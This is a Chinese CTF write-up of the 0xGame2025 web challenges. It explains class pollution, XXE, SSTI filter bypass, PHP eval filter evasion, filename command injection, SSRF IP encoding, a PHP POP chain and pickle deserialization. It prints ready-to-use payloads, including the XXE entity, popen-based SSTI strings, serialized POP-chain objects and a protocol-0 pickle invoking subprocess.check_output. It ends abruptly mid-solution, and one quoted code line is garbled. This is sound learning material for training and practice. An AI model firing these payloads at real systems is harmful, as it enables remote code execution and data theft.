0xGame2025 web大部分WP(详细版)

0xGame2025 web大部分WP(详细版)

其实就是个超大篇幅的草稿,过段时间出个精简版的当正统WP

Lemon

ctrl + u 查看源码拿到 flag:

html
<!-- flag{68fa59ad-46ee-47e8-84ee-286fd0d6380c} -->

Lemon_Revenge

app.py:

先补充前置知识:

  1. __class__ (类引用)
    在 Python 中,一切皆对象。每个实例对象都有一个 __class__ 属性,它指向创建该实例的类本身。
    • 实例:
      python
      class Demo:
          pass
      
      obj = Demo()
      print(obj.__class__)  # 输出: <class '__main__.Demo'>
      
      • 点号(.): Python 中的属性访问运算符obj.xxx 的意思就是让解释器去 obj 这个对象内部的命名空间里,查找名为 xxx 的变量或函数。
      • __main__ 这是模块(Module)的名称。当直接运行某个 Python 文件时,Python 会把这个文件的主作用域命名为 __main__
      • 模块 (Module): 在 Python 中,一个后缀为 .py 的物理脚本文件,就是一个模块。 模块名就是去掉 .py 后缀的文件名。

      这串代码通过 obj.__class__,实现了从实例对象 obj 回溯到了类对象 Demo
  2. __init__ (初始化方法)
    这是类的构造函数。在 Python 底层,__init__ 不仅仅是一个方法,它本身也是一个函数对象。
    • 实例:
      python
      class Demo:
          def __init__(self):
              pass
      
      obj = Demo()
      
      # 访问实例的 __init__ 方法对象
      print(obj.__init__) 
      # 输出示例: <bound method Demo.__init__ of <__main__.Demo object at 0x...>>
      
      # 访问类的 __init__ 函数对象
      print(Demo.__init__)
      print(obj.__class__.__init__)
      # 输出示例: <function Demo.__init__ at 0x...>
      
      • def (Define): Python 的保留关键字,作用只有一个:声明并定义一个函数或方法。
      • self 代表当前被实例化的那个对象本身。例如在执行 obj = Demo() 时,会自动把 obj 作为参数传给 self
      • def __init__(self): pass 显式地把初始化方法定义出来,让它在 Python 底层变成一个真正的函数对象(Function Object),这是它后续能拥有 __globals__ 属性的前提。

      这串代码通过访问 Demo.__init__obj.__class__.__init__,证明了显式定义的初始化方法本质上就是一个独立的函数对象,拥有 __globals__ 属性。
  3. __globals__ (全局命名空间引用)
    这是整个 Python 类污染漏洞最核心的属性。在 Python 中,每一个函数对象都有一个 __globals__ 属性。这个属性是一个字典,里面包含了定义该函数所在的模块(文件)中的所有全局变量
    • 实例:
      python
      yanxi = "我是yanxi来着"
      
      class Demo:
          def __init__(self):
              pass
      
      obj = Demo()
      
      # 通过实例对象 obj 的 __class__ 属性找到类,再找到其 __init__ 函数,再读取其 __globals__ 属性,再读取其中包含的全局变量 yanxi
      print(obj.__class__.__init__.__globals__['yanxi'])  # 输出: 我是yanxi来着
      
      # 修改 __globals__ 字典中 'yanxi' 这个键对应的值
      obj.__class__.__init__.__globals__['yanxi'] = "我被篡改了!"
      
      print(yanxi)  # 输出: 我被篡改了!
      

      关键点: 这个字典不仅可读,而且可写。如果修改了字典里的值,当前文件中的全局变量就会被直接篡改。

接下来回归本题,代码审计和 payload 制作的思路流程如下:

  1. 先找入口位置(其实就是找可控路由):

    路由

    访问哪个网址,服务器就跑哪段代码。

    比如:

    python
    @app.route("/")
    def index():
    return "首页"
    

    意思就是:

    访问 / 这个网址时,服务器就执行 index() 这段代码。


    本题一共有两个路由:
    1. / 路由:
      python
      @app.route('/',methods=['POST', 'GET'])
      def index():
          if request.data:
              merge(json.loads(request.data), Game0x)
          return render_template("index.html", Game0x=Game0x)
      

      json.loads()

      把 JSON 格式的字符串转换成 Python 能直接使用的字典或列表。

      比如:

      python
      json.loads('{"name":"yanxi"}')
      

      会变成:

      python
      {"name": "yanxi"}
      

      第一个是类似 a = '{"name":"yanxi"}',这是一个字符串,其 type 值打印出来是 <class 'str'>

      第二个是类似 b = {"name":"yanxi"},这是一个 Python 字典,其 type 值打印出来是 <class 'dict'>,就可以像 b["name"] 这样取值得到 yanxi

      render_template()

      是 Flask 提供的函数,作用是让 Flask 去 templates 目录里找指定的 HTML 模板文件,并把它渲染成网页返回给用户。


      这里出现了 request.data,说明程序会接收用户 POST 请求体中的数据,然后执行 merge(json.loads(request.data), Game0x)
      也就是说,可以通过 POST 请求给 / 传入 JSON 数据,数据会被 json.loads() 解析成 Python 字典,然后进入 merge() 函数。所以本题的第一个可控入口就是:
      http
      POST /
      
    2. /<path:path> 路由:
      这个路由与本题的漏洞不相干,可以直接跳过。
      python
      @app.route("/<path:path>")
      def render_page(path):
          if not os.path.exists("templates/" + path):
              return "Not Found", 404
          return render_template(path)
      

      <path:path>

      把用户访问的后续路径全部接收下来,并保存到变量 path 里。


      这个路由的意思是:访问除了 / 以外的其他路径时,路径内容会被保存到变量 path 里。
      比如访问 /test.html,那么 path = "test.html",程序会先判断 templates/test.html 这个文件是否存在。如果不存在,就返回 Not Found 和 404 状态码;如果存在,就执行 render_template(path) 把对应模板渲染出来。
  2. 定位漏洞函数:
    在上一步中得知 POST 传入的 JSON 数据会被解析成 Python 字典,然后进入 merge() 函数。所以 merge() 函数极有可能是漏洞点,定位找到:
    python
    def merge(src, dst):
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)
    
    1. 先看:
      python
      def merge(src, dst):
          for k, v in src.items():
      

      items()

      Python 字典的方法,作用是把字典里的键和值一组一组取出来。


      这里的 src 就是 POST 传入的 JSON 数据解析出来的 Python 字典,dst 就是实例对象 Game0x ,比如 POST 传入:
      json
      {"name":"yanxi"}
      

      那么这里就是:
      txt
      k = "name"
      v = "yanxi"
      
    2. 然后进入判断:
      python
      if hasattr(dst, '__getitem__'):
      

      hasattr()

      判断某个对象里面有没有指定属性。

      比如 hasattr(Game0x, "__class__"),意思就是判断 Game0x 有没有 __class__ 这个属性。

      __getitem__

      Python 对象里负责处理 中括号取值 的特殊方法,比如执行 a[0]a["name"] 时,底层就会调用 a.__getitem__(...)


      这串代码可以简单理解成“能不能用中括号取值”。比如字典可以这样取值:
      python
      a["name"]
      

      所以这里是在判断 dst 是不是支持用中括号 [] 取值的对象。
      但源码中实际上已经给出了:
      python
      class Dst():
          def __init__(self):
              pass
      
      Game0x = Dst()
      

      所以 Game0x 是实例对象,不可能满足支持用中括号 [] 取值。
    3. 因为 Game0x 是普通实例对象,所以会继续往下走:
      python
      elif hasattr(dst, k) and type(v) == dict:
          merge(v, getattr(dst, k))
      else:
          setattr(dst, k, v)
      

      getattr()

      用来获取某个对象的指定属性。

      比如 getattr(Game0x, "__class__"),等价于 Game0x.__class__

      setattr()

      用来给某个对象设置属性。

      比如 setattr(Game0x, "name", "yanxi"),等价于 Game0x.name = "yanxi"


      这里分两种情况。
      第一种,如果传入的是普通属性,比如 {"name":"yanxi"},那么:
      txt
      k = "name"
      v = "yanxi"
      

      由于 Game0x 原本没有 name 这个属性,所以 hasattr(Game0x, "name") 为 False,于是会进入:
      python
      setattr(dst, k, v)
      

      也就是等价于:
      python
      Game0x.name = "yanxi"
      

      这说明用户可以通过 POST 传入 JSON 数据给 Game0x 动态添加属性。
      第二种,如果传入的是对象本来就有的属性,比如 {"__class__":{}}
      因为 Python 对象都有 __class__ 属性,所以 hasattr(Game0x, "__class__") 结果为 True,并且 {} 是字典,所以会执行:
      python
      merge({}, getattr(Game0x, "__class__"))
      

      也就是:
      python
      merge({}, Game0x.__class__)
      

      这就会导致把用户可控的 JSON 递归写入对象属性,使得可以从实例对象一路跳到它的类对象上。
      因此可以构造:
      python
      {"__class__":{"__init__":{"__globals__":{}}}}
      

      这样就可以一路访问到:
      python
      Game0x.__class__.__init__.__globals__
      
  3. 替换关键信息:
    通过上一步已经可以一路访问到 Game0x.__class__.__init__.__globals__,而 __globals__ 是当前 app.py 的全局变量字典,里面就包括前面定义的:
    python
    app = Flask(__name__)
    

    所以我们的目标就变成了:通过污染 __globals__ 里的 app 或其他关键对象,修改 Flask 的关键属性。
    也就是说,payload 的前半部分基本固定为:
    python
    {"__class__":{"__init__":{"__globals__":{}}}}
    

    后面只需要思考往 __globals__ 里面改什么。
    以下是本题可以尝试污染的关键信息:
    1. static_folder
      static_folder 是 Flask 应用对象 app 的一个属性,它的值表示静态文件目录路径。Flask 默认会通过 /static/<filename> 路由去读取这个目录下的文件。
      如果把 app.static_folder 属性的值改成根目录 /,那么访问 /static/flag 就相当于读取 /flag ,例如 POST 传入 JSON 数据:
      json
      {"__class__":{"__init__":{"__globals__":{"app":{"static_folder":"/"}}}}}
      

      这个 payload 的执行路径可以理解为:
      python
      Game0x.__class__.__init__.__globals__['app'].static_folder = "/"
      

      具体过程是,前半部分:
      python
      __class__ -> __init__ -> __globals__ -> app
      

      会通过递归一路找到全局变量里的 Flask 应用对象 app
      到了最后一层时,相当于:
      python
      dst = Game0x.__class__.__init__.__globals__['app']
      k = "static_folder"
      v = "/"
      

      此时 dst 是 Flask 的 app 对象,kstatic_folderv 是字符串 /
      虽然 app 本身有 static_folder 这个属性,但是 / 是字符串,不是字典,所以这里不会继续进入:
      python
      merge(v, getattr(dst, k))
      

      而是进入:
      python
      setattr(dst, k, v)
      

      也就是等价于:
      python
      setattr(app, "static_folder", "/")
      

      最终效果就是:
      python
      Game0x.__class__.__init__.__globals__['app'].static_folder = "/"
      

      也就是把 Flask 静态文件目录改成根目录 /。所以后续访问 /static/flag,Flask 就会去根目录下读取 /flagimage-20260507165524355
      但很可惜这个 payload 失败了,应该是因为 static_folder 默认是只读属性,把 payload 里的 static_folder 改成 _static_folder 即可:
      json
      {"__class__":{"__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}}
      

      传入后再在 bp 中以 GET 方法访问 /static/flag ,返回 500,估计是权限不足,改成访问 /static/proc/1/environ ,得到 flag。
    2. os.path.pardir
      os.path.pardir 表示上级目录,也就是 ..
      在一些 Flask / Python 文件读取逻辑中,会用 os.path.pardir 来判断用户路径里是否存在目录穿越符号。如果可以通过类污染把 os.path.pardir 的值从 .. 改成其他字符,比如 !,那么原本针对 .. 的路径穿越检测就可能失效。比如传入:
      json
      {"__class__":{"__init__":{"__globals__":{"os":{"path":{"pardir":"!"}}}}}}
      

      它等价于修改:
      python
      Game0x.__class__.__init__.__globals__['os'].path.pardir = "!"
      

      也就是把 Python 里表示“上级目录”的关键值从 .. 改成了 !
      污染之后,就可以尝试使用目录穿越去读 flag,例如访问 ../../../proc/1/environ 得到 flag。

ez_signin

查看源码送 flag。

Http的真理,我已解明

提示依次为:

txt
1. 用GET传递 hello=web
2. POST传递 http=good
3. 设置cookie Sean=god
4. 请使用Safari浏览器访问
5. 请从www.mihoyo.com访问本页面,否则你的原石啊这些全都别想要了
6. 请使用clash这只猫猫来代理一下

如图依次构造请求:

image-20260507124131431

留言板(粉)

提示:

txt
登录请附带login.php

访问 /login.php ,是个登录界面。

进行弱密码爆破得到账号密码为 admin/admin123 ,进去后是一个 Message 界面,随意输入一个 111 但是出现了 DOMDocument::loadXML() 的报错,说明这里需要输入 XML 格式,考点应该是 XXE,输入:

xml
<!DOCTYPE xixi[<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
    <yanxi>&xxe;</yanxi>
</root>

拿到 flag。

404NotFound

访问 /flag 返回:

txt
404 Not Found
404 Error: The requested URL /flag was not found on this server.

这不是正常的 404,一般 404 不会回显不存在的 /flag 路径,而且 Wappalyzer 插件有反应,显示是 Flask 框架。

猜测存在 SSTI,访问 /{{7*7}} 返回:

txt
404 Not Found
404 Error: The requested URL /49 was not found on this server.

证实存在 SSTI,访问 /{{url_for.__globals__['os'].popen('cat /flag').read()}} 返回:

txt
404 Not Found
404 Error: The requested URL /
本来只想随便搞一个404的,没想到遇到了嗨客
was not found on this server.

看来是触发 waf 了,经测试有一大堆关键词和小数点 . 全在黑名单,可以通过访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /flag')['read']()}} 绕过,但是返回:

txt
404 Not Found
404 Error: The requested URL / was not found on this server.

什么都没有,再尝试访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('ls /')['read']()}} ,这次返回:

txt
404 Not Found
404 Error: The requested URL /app bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var was not found on this server.

意识到拿不到 flag 可能是权限不足,试试访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /flag 2>&1')['read']()}},返回:

txt
404 Not Found
404 Error: The requested URL /cat: /flag: Permission denied was not found on this server.

这下确认是权限不足了。

先看看环境变量能不能拿到 flag,访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('env')['read']()}} ,得到 flag。

也可以访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /proc/1/environ')['read']()}},同样拿到 flag。

RCE1

php
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
    global $pattern;
    return (bool) preg_match($pattern, $text);
}


if (isset($rce1) && isset($rce2)){
    if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
        if(!check($real_code)){
            eval($real_code);
        } else {
            echo "Don't hack me ~";
        }
    } else {
        echo "md5 do not match correctly";
    }
}
else{
    echo "Please provide both rce1 and rce2";
}
?> 

rce1 和 rce2 要满足:

php
md5($rce1) === md5($rce2) && $rce1 !== $rce2
  • 如果环境是 PHP 7.x,可以用数组让 md5(array) 返回 NULL,从而满足 NULL === NULL。
  • 如果是 PHP 8+,这个方法会触发 TypeError,不能直接用数组绕过。

这里用数组绕过即可。

至于 rce3,过滤了数字、一堆特殊符号和关键词。

叽里咕噜写这么多写啥呢,当无字母数字 RCE 了,传入:

txt
GET: ?rce1[]=1
POST: rce2[]=2&rce3=(~'%8c%86%8c%8b%9a%92')(~'%9c%9e%8b%df%d0%99%93%9e%98');

也可以当成无参数 RCE 做,比如:

txt
GET: ?rce1[]=1
POST: rce2[]=2&rce3=eval(end(getallheaders()));
请求头最后面加上 yanxi: system('cat /flag');

或者用 exec 或反引号替代被过滤的 system 实现命令执行,用通配符 ? 绕过 flag,再用 print 之类的函数打印出来就行了,比如:

txt
GET: ?rce1[]=1
POST: rce2[]=2&rce3=print(`tac /f???`);
txt
GET: ?rce1[]=1
POST: rce2[]=2&rce3=print(exec('tac /f???'));

甚至是:

txt
GET: ?rce1[]=1
POST: rce2[]=2&rce3=?><?=`tac /f???`;

我只想要你的PNG

查看源码发现:

html
<!-- check.php -->

访问 /check.php ,返回:

txt
bin boot dev etc home lib media sbin mnt opt proc root run srv sys tmp usr var flag

这很明显是 ls / 执行的结果, 这是暗示存在命令执行的漏洞。

传含一句马的 1.png 后用 bp 抓包并改后缀上传,但仍然不通过。只上传 1.png 不改后缀,返回:

txt
Avatar Saved At : uploads/4984a3c18453ce759b308d7412bcf413.png

但访问后却返回 404。但此时再访问 /check.php ,发现返回:

txt
bin boot dev etc home lib media sbin mnt opt proc root run srv sys tmp usr var flag 1.png.

回忆题目提示:

txt
上传你的头像!虽然上传了我也不想用也不想让你看

或许文件上传的内容根本不重要,真正的注入点在文件名。

但上传 <?php system('cat /flag')?>.png 是不现实的,因为 Linux 文件名不能出现 / ,否则会被截断。

所以尝试上传 <?php system('env')?>.png ,得到 flag。

DNS想要玩

过滤了:

txt
'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4'

要满足 == '114.5.1.4' ,可以用十进制 1912930564 ,访问:

http
/ssrf?url=http://1912930564&cmd=cat /flag

或者十六进制 0x72050104,访问:

http
/ssrf?url=http://0x72050104&cmd=cat /flag

也可以利用 nip.io 这个通配 DNS 服务绕过,原理是其支持把域名中嵌入的 IP 解析出来,且横线写法会被 nip.io 的 DNS 服务器识别成 IP,比如:

http
/ssrf?url=http://114-5-1-4.nip.io&cmd=cat /flag

Rubbish_Unser

  1. 先看程序入口:
    php
    if (isset($_GET['0xGame'])) {
        $web = unserialize($_GET['0xGame']);
        throw new Exception("Rubbish_Unser");
    }
    

    虽然反序列化后面跟了一个:
    php
    throw new Exception("Rubbish_Unser");
    

    但本题不需要专门绕过这个异常。
  2. 找链子终点:
    终点在 HSR::__get() 里面的 eval()
    php
    class HSR {
        public $robin;
        function __get($robin) {
            $castorice = $this -> robin;
            eval($castorice);
        }
    }
    

    __get()

    用于访问不存在或者不可访问(protected/private)的属性时被调用。


    这里的关键代码是:
    php
    eval($castorice);
    

    如果让 $this->robin = "system('env');",那么最后就相当于执行 eval("system('env');");
  3. 触发 HSR::__get()
    找到 HI3rd::__invoke()
    php
    class HI3rd {
        public $RaidenMei;
        public $kiana;
        public $guanxing;
        function __invoke() {
            if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
                return $this -> guanxing -> Elysia;
        }
    }
    

    __invoke()

    当尝试以调用函数的方式调用一个对象时,会自动触发该方法。


    这里的关键代码是:
    php
    return $this -> guanxing -> Elysia;
    

    如果让:
    php
    HI3rd::$guanxing = new HSR()
    

    那么访问不存在的 Elysia 属性时,就会触发 HSR::__get()
    但前提是必须通过 if 条件的强比较限制:
    php
    $this->kiana !== $this->RaidenMei && md5($this->kiana) === md5($this->RaidenMei) && sha1($this->kiana) === sha1($this->RaidenMei)
    

    这里容易想到直接数组绕过,比如:
    php
    HI3rd::$kiana = [1]
    HI3rd::$RaidenMei = [2]
    

    但是实际上,数组绕过是错误的(排错半天居然是这里阴我)。
    • 在 PHP 7.x 中: md5(数组)sha1(数组) 都会返回 NULL 并触发一个 Warning。因为 NULL === NULL,且 [1] !== [2],所以可以绕过。
    • 在 PHP 8.0+ 中: PHP 引入了更严格的类型检查。如果向 md5()sha1() 传入数组,不再返回 NULL,而是直接抛出 TypeError 致命错误Fatal error: Uncaught TypeError: md5(): Argument #1 ($string) must be of type string, array given)。

    为了在 PHP 8+ 中稳定绕过 $a !== $b && md5($a) === md5($b),这里提供两种解法:
    1. 利用浮点数 NAN(Not A Number)的特性。
      在 PHP 中(无论是 PHP 7 还是 8),根据 IEEE 754 标准,NAN 与任何值都不相等,包括它自己。
      1. NAN !== NAN 的结果为 true
      2. NAN 被传入 md5() 时,会被强制转换为字符串 "NAN"
      3. md5("NAN") === md5("NAN") 的结果为 true

      只需将 $kiana$RaidenMei 都赋值为 NAN,就能完美满足所有条件且不会引发任何报错,即:
      php
      HI3rd::$kiana = NAN
      HI3rd::$RaidenMei = NAN
      
    2. 利用 Exception::__toString() 绕过 hash。
      还可以利用 PHP 内置类 Exception
      可以把 Exception 理解成 PHP 内置的“异常对象”。它一般这样创建:
      php
      new Exception("message报错信息", code错误码);
      

      由于两个不同的 Exception 对象本身肯定不是同一个对象,所以:
      php
      $this->kiana !== $this->RaidenMei
      

      可以成立。
      但是当对象被传入 md5()sha1() 时,会触发对象的字符串转换,也就是调用 Exception::__toString()
      Exception::__toString() 的结果与 message、文件名、行号、调用栈等有关,但不会把 code 参数算进去。所以可以构造两个 message 为空、创建位置相同,但是 code 不同的 Exception 对象:
      php
      $a->yuzuha->game->furina->kiana=new Exception("",1);$a->yuzuha->game->furina->RaidenMei=new Exception("",2);
      

      这两个对象本身不是同一个对象,满足 !==;同时因为它们在同一行创建,message 又一样,字符串化结果相同,所以:
      php
      md5($this->kiana) === md5($this->RaidenMei)
      sha1($this->kiana) === sha1($this->RaidenMei)
      
  4. 触发 HI3rd::__invoke()
    找到 GI::__call()
    php
    class GI {
        public $furina; 
        function __call($arg1, $arg2) {
            $Charlotte = $this -> furina;
            return $Charlotte();
        }
    }
    

    __call()

    在对象中调用一个不可访问或不存在的方法时被自动调用。


    这里的关键代码是:
    php
    $Charlotte = $this -> furina;
    return $Charlotte();
    

    如果让:
    php
    GI::$furina = new HI3rd()
    

    那么 $Charlotte(); 就会将 HI3rd 对象作为函数调用,从而触发 HI3rd::__invoke()
  5. 触发 GI::__call()
    找到 Mi::__toString()
    php
    class Mi {
        public $game;
        function __toString() {
            $game1 = @$this -> game -> tks();
            return $game1;
        }
    }
    

    __toString()

    当一个对象被当作字符串使用时(例如被 echo 或进行字符串拼接)被自动调用。


    这里的关键代码是:
    php
    $game1 = @$this -> game -> tks();
    

    如果让:
    php
    Mi::$game = new GI()
    

    因为 GI 类中不存在 tks() 方法,所以调用该方法时会自动触发 GI::__call()
  6. 触发 Mi::__toString()
    找到 ZZZ::__destruct() 作为入口点:
    php
    class ZZZ {
        public $yuzuha;
        function __destruct() {
            echo "破绽,在这里!" . $this -> yuzuha;
        }
    }
    

    __destruct()

    析构函数,在对象销毁或脚本结束时被自动调用。


    这里的关键代码是:
    php
    echo "破绽,在这里!" . $this -> yuzuha;
    

    如果让:
    php
    ZZZ::$yuzuha = new Mi()
    

    通过 . 拼接字符串时,会将 Mi 对象当作字符串处理,从而触发 Mi::__toString()
  7. 编写 exp:
    链子完整路径为:ZZZ::__destruct() -> Mi::__toString() -> GI::__call() -> HI3rd::__invoke() -> HSR::__get()
    php
    <?php
    class ZZZ {
        public $yuzuha;
    }
    
    class HSR {
        public $robin = "system('env');";
    }
    
    class HI3rd {
        public $RaidenMei = NAN;
        public $kiana = NAN;
        public $guanxing;
    }
    
    class GI {
        public $furina; 
    }
    
    class Mi {
        public $game;
    }
    
    $a = new ZZZ();
    $a->yuzuha = new Mi();
    $a->yuzuha->game = new GI();
    $a->yuzuha->game->furina = new HI3rd();
    $a->yuzuha->game->furina->guanxing = new HSR();
    echo serialize($a);
    

    得到 payload 为:
    txt
    O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";d:NAN;s:5:"kiana";d:NAN;s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:14:"system('env');";}}}}} 
    

    或者:
    php
    <?php
    class ZZZ {
        public $yuzuha;
    }
    
    class HSR {
        public $robin = "system('env');";
    }
    
    class HI3rd {
        public $RaidenMei;
        public $kiana;
        public $guanxing;
    }
    
    class GI {
        public $furina; 
    }
    
    class Mi {
        public $game;
    }
    
    $a = new ZZZ();
    $a->yuzuha = new Mi();
    $a->yuzuha->game = new GI();
    $a->yuzuha->game->furina = new HI3rd();
    $a->yuzuha->game->furina->kiana=new Exception("",1);$a->yuzuha->game->furina->RaidenMei=new Exception("",2);
    $a->yuzuha->game->furina->guanxing = new HSR();
    echo urlencode(serialize($a));
    

    注: Exception 序列化后生成私有/保护属性名,需要 URL 编码。
    得到:
    txt
    O%3A3%3A%22ZZZ%22%3A1%3A%7Bs%3A6%3A%22yuzuha%22%3BO%3A2%3A%22Mi%22%3A1%3A%7Bs%3A4%3A%22game%22%3BO%3A2%3A%22GI%22%3A1%3A%7Bs%3A6%3A%22furina%22%3BO%3A5%3A%22HI3rd%22%3A3%3A%7Bs%3A9%3A%22RaidenMei%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fhome%2Fkali%2FHello_CTF%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A28%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22kiana%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fhome%2Fkali%2FHello_CTF%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A28%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A8%3A%22guanxing%22%3BO%3A3%3A%22HSR%22%3A1%3A%7Bs%3A5%3A%22robin%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D%7D%7D%7D%7D
    

马哈鱼商店

先随便注册个 test/111 的账号,登录进去是一个小商店。

当前有 $10000,而名为 Flag 的商品,价格为:

txt
Price: $5000
Discount: 1

可以买一个试试,结果只得到:

txt
0xGame{Pickle_Is_Not_Easy_Fake}
你不会真想让我给你吧

这是把我耍了,但也提示了本题是 pickle 反序列化,回到购买页面,最底下有一个名为 Pickle 的商品,价格是:

txt
Price: $1000000
Discount: 1

但是点击 Buy 之后只会返回:

txt
Not Enough Money

点击 Buy 的时候抓个包好了,发现存在两个 POST 参数:

http
pid=8&discount=1

对应的分别是商品编号和折扣,把 discount=1 改成 discount=0.00001,回显购买成功的路径 /shop_success 和响应头 Set-Cookie: session=...

换上新的 session 并以 GET 方式访问 /shop_success,拿到一个新链接:

html
<a href="/pickle_dsa">

访问 /pickle_dsa 返回:

python
Use GET To Send Your Loved Data!!! 
BlackList = [b'', b''] 
@app.route('/pickle_dsa')
def pic():
    data = request.args.get('data')
    if not data:
        return "Use GET To Send Your Loved Data"

    try:
        data = base64.b64decode(data)
    except Exception:
        return "Cao!!!"

    for b in BlackList:
        if b in data:
            return "卡了"

    p = pickle.loads(datapickle.loads(
    print(p)
    return f"<p>Vamos! {p}<p>"

pickle.loads()

把一段 pickle 序列化后的字节数据还原成 Python 对象,但如果数据可控,反序列化过程中可能触发函数调用导致命令执行。

这是一个典型的 pickle 反序列化,先补充前置知识:

  1. 序列化
    序列化就是:把程序里的对象变成一串可以保存、传输的字节数据。
    比如 Python 里有一个字典:
    python
    {"name": "yanxi", "money": 10000}
    

    程序运行时,这个东西是 Python 内存里的对象。
    但是如果想把它保存到文件里、放进 Cookie 里、通过网络传给别人等,就不能直接保存“对象本身”,而是要把它变成一串数据。
    这个过程就是:
    txt
    对象 -> 序列化 -> 字节数据
    

    pickle 里对应的函数是 pickle.dumps(obj),可以把 Python 对象序列化成一段 pickle 字节数据,方便保存或传输。
  2. 反序列化
    反序列化就是反过来:
    txt
    字节数据 -> 反序列化 -> Python 对象
    

    pickle 里对应的函数是 pickle.loads(data),比如:
    python
    import pickle
    
    data = pickle.dumps({"name": "yanxi", "money": 10000})
    obj = pickle.loads(data)
    
    print(obj)
    

    最后 obj 又变回了:
    python
    {"name": "yanxi", "money": 10000}
    
  3. pickle 和 JSON 的区别
    JSON 只能保存这些普通东西:
    txt
    字符串
    数字
    列表
    字典
    true / false
    null
    

    比如:
    python
    {"name":"yanxi","money":10000}
    

    但是 pickle 不一样。
    pickle 可以保存更复杂的 Python 对象,比如:
    txt
    类对象
    函数引用
    模块引用
    自定义对象
    对象之间的关系
    

    这就导致了,pickle 在反序列化时,不只是还原数据,还可能按照 pickle 指令去调用函数。
  4. __reduce__()
    __reduce__() 的作用是告诉 pickle 在序列化/反序列化这个对象时应该怎么做。
    在反序列化利用里,经常写成:
    python
    def __reduce__(self):
        return (eval, ("__import__('os').popen('env').read()",))
    

    意思就是让 pickle.loads() 反序列化时调用 eval("__import__('os').popen('env').read()"),所以它常作为 pickle 反序列化 RCE 里“触发函数调用”的入口。
    pickle 反序列化的常规利用思路是:
    txt
    构造一个对象
    ↓
    让它的 __reduce__ 返回危险函数和参数
    ↓
    pickle.dumps() 生成 payload
    ↓
    服务端 pickle.loads() 时触发
    
  5. 文本协议 protocol=0
    pickle 有不同协议版本,比如:
    python
    pickle.dumps(obj, protocol=0)
    pickle.dumps(obj, protocol=1)
    pickle.dumps(obj, protocol=2)
    pickle.dumps(obj, protocol=3)
    pickle.dumps(obj, protocol=4)
    pickle.dumps(obj, protocol=5)
    

    其中:
    txt
    protocol=0 是文本协议
    protocol>=1 大多是二进制协议
    

    二进制协议长这样:
    python
    b'\x80\x04\x95...'
    

    里面有很多不可见字节。
    而文本协议长这样:
    python
    csubprocess
    check_output
    (S'env'
    tR.
    

    大部分都是可见字符。
    如果题中出现有关某些特殊字节的黑名单,使用默认二进制 pickle,很容易被拦,而使用 protocol=0 文本协议,就可以尽量避开不可见字节。

回到题目本身,这里的黑名单过滤了特殊字节,需要使用 protocol=0 文本协议,提供两种做法:

  1. 手写 protocol=0 文本协议:
    比如可以手写出 payload 为:
    python
    csubprocess
    check_output
    (S'env'
    tR.
    
    • 第一段:
      python
      csubprocess
      check_output
      

      这里的 c 是 pickle 文本协议里的一个指令。
      格式是:
      txt
      c模块名
      函数名
      

      所以:
      python
      csubprocess
      check_output
      

      意思就是:
      python
      subprocess.check_output
      

      也就是把 subprocess 模块里的 check_output 函数拿出来。
    • 第二段:
      python
      (
      

      意思是开始准备参数,相当于打一个标记,告诉 pickle 后面的东西是函数参数。
    • 第三段:
      python
      S'env'
      

      S 表示字符串。所以 S'env' 表示压入一个字符串 "env" 传给 check_output() 当参数。
    • 第四段:
      python
      t
      

      意思是把刚才准备的参数打包成元组。就是把 "env" 变成 ("env",),因为 Python 调函数时,参数本质上要以元组形式传给函数。
    • 第五段:
      python
      R
      

      意思是调用函数, R 执行后就等价于:
      python
      subprocess.check_output("env")
      
    • 第六段:
      python
      .
      

      表示 pickle 数据结束。
    • 总结:
      python
      csubprocess
      check_output
      

      拿到函数:
      python
      subprocess.check_output
      

      然后:
      python
      (
      S'env'
      t
      

      准备参数:
      python
      ("env",)
      

      然后:
      python
      R
      

      调用:
      python
      subprocess.check_output("env")
      

      最后:
      python
      .
      

      结束。

